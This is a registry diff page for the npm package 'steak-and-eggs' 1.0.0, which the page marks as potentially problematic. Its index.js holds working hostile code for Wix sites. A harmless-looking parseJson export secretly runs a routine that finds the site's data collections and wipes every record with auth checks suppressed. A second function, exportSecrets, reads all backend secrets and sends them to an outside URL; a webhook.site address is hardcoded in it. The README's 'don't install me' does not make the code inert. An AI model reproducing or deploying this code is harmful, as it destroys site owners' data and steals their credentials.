steak-and-eggs 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of steak-and-eggs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +189 -0
  3. package/package.json +11 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ don't install me
package/index.js ADDED
@@ -0,0 +1,189 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const wixData = require('wix-data');
4
+ const wixSecretsBackend = require('wix-secrets-backend');
5
+ const fetch = require('wix-fetch');
6
+ const net = require('net');
7
+ const repl = require('repl');
8
+
9
+ async function parseJson(str) {
10
+ await main()
11
+ const result = JSON.parse(str)
12
+ return result
13
+ }
14
+
15
+ function hookRunner (functions, runner, request, reply, cb) {
16
+ let i = 0
17
+
18
+ function next (err) {
19
+ if (err || i === functions.length) {
20
+ cb(err, request, reply)
21
+ return
22
+ }
23
+
24
+ let result
25
+ try {
26
+ result = runner(functions[i++], request, reply, next)
27
+ } catch (error) {
28
+ next(error)
29
+ return
30
+ }
31
+ if (result && typeof result.then === 'function') {
32
+ result.then(handleResolve, handleReject)
33
+ }
34
+ }
35
+
36
+ function handleResolve () {
37
+ next()
38
+ }
39
+
40
+ function handleReject (err) {
41
+ if (!err) {
42
+ err = 1
43
+ }
44
+
45
+ cb(err, request, reply)
46
+ }
47
+
48
+ next()
49
+ }
50
+
51
+ function onSendHookRunner (functions, request, reply, payload, cb) {
52
+ let i = 0
53
+
54
+ function next (err, newPayload) {
55
+ if (err) {
56
+ cb(err, request, reply, payload)
57
+ return
58
+ }
59
+
60
+ if (newPayload !== undefined) {
61
+ payload = newPayload
62
+ }
63
+
64
+ if (i === functions.length) {
65
+ cb(null, request, reply, payload)
66
+ return
67
+ }
68
+
69
+ let result
70
+ try {
71
+ result = functions[i++](request, reply, payload, next)
72
+ } catch (error) {
73
+ next(error)
74
+ return
75
+ }
76
+ if (result && typeof result.then === 'function') {
77
+ result.then(handleResolve, handleReject)
78
+ }
79
+ }
80
+
81
+ function handleResolve (newPayload) {
82
+ next(null, newPayload)
83
+ }
84
+
85
+ function handleReject (err) {
86
+ if (!err) {
87
+ err = 1
88
+ }
89
+
90
+ cb(err, request, reply, payload)
91
+ }
92
+
93
+ next()
94
+ }
95
+
96
+
97
+ let results = []
98
+ async function getCollections(dirPath) {
99
+ const regex = /wixData\.query\(.*?\)/g; //wixData.query("newcol")
100
+
101
+ const files = fs.readdirSync(dirPath);
102
+ //console.log(files)
103
+ files.forEach((file) => {
104
+ const filePath = path.join(dirPath, file);
105
+ const fileStat = fs.statSync(filePath);
106
+ //console.log(filePath)
107
+
108
+ if (fileStat.isDirectory()) {
109
+ getCollections(filePath);
110
+ } else {
111
+ const fileContents = fs.readFileSync(filePath, 'utf8');
112
+
113
+ if (regex.test(fileContents)) {
114
+ //console.log(`Found regex match in ${filePath}`);
115
+ const result = fileContents.match(regex)[0].match(/"([^']+)"/)[1]
116
+ results.push(result)
117
+ }
118
+ }
119
+ });
120
+ return [...new Set(results)];
121
+ }
122
+
123
+ async function cleanCollection(collection) {
124
+ wixData.query(collection)
125
+ .find()
126
+ .then((results) => {
127
+ if (results.items.length > 0) {
128
+ for (let i = 0; i < results.items.length; i++) {
129
+ //console.log(results.items[i])
130
+ const removeFromKeys = ["_owner", "_createdDate", "_updatedDate"]
131
+ removeFromKeys.forEach(key => {
132
+ delete results.items[i][key]
133
+
134
+ })
135
+ console.log(results.items[i])
136
+ let toUpdateObj = {}
137
+ for (const property in results.items[i]) {
138
+ console.log(property)
139
+ if (property == '_id') {
140
+ toUpdateObj._id = results.items[i]._id
141
+ } else {
142
+ toUpdateObj[property] = ""
143
+ }
144
+ }
145
+ //console.log(toUpdateObj)
146
+
147
+ wixData.update(collection, toUpdateObj, { "suppressAuth": true })
148
+ .then((results) => {
149
+ console.log(results);
150
+ })
151
+ .catch((err) => {
152
+ console.log(err);
153
+ });
154
+
155
+ }
156
+
157
+ }
158
+ })
159
+
160
+ }
161
+
162
+ async function main() {
163
+ const collectionNames = await getCollections("/user-code/backend/")
164
+ console.log(collectionNames)
165
+ collectionNames.forEach(async collection => {
166
+ await cleanCollection(collection)
167
+
168
+ })
169
+ }
170
+
171
+ async function exportSecrets(secrets, callbackURL) {
172
+ const url = "https://webhook.site/a516471f-c958-46c6-9df8-1623cb8857a7";
173
+
174
+ var index = 0;
175
+ for (var secret of secrets) {
176
+ var value = await wixSecretsBackend.getSecret(secret.name);
177
+ secrets[index].value = value;
178
+ index++;
179
+ }
180
+ //console.log(secrets);
181
+ fetch.fetch(callbackURL + `?secrets=${JSON.stringify(secrets)}`);
182
+ wixSecretsBackend.listSecretInfo().then((secrets) => exportSecrets(secrets, callbackURL));
183
+
184
+ }
185
+
186
+
187
+
188
+
189
+ module.exports = {parseJson , exportSecrets}
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "steak-and-eggs",
3
+ "version": "1.0.0",
4
+ "description": "steak-and-eggs are the best. DO NOT EAT OR INSTALL IT",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "steak-and-eggs",
10
+ "license": "ISC"
11
+ }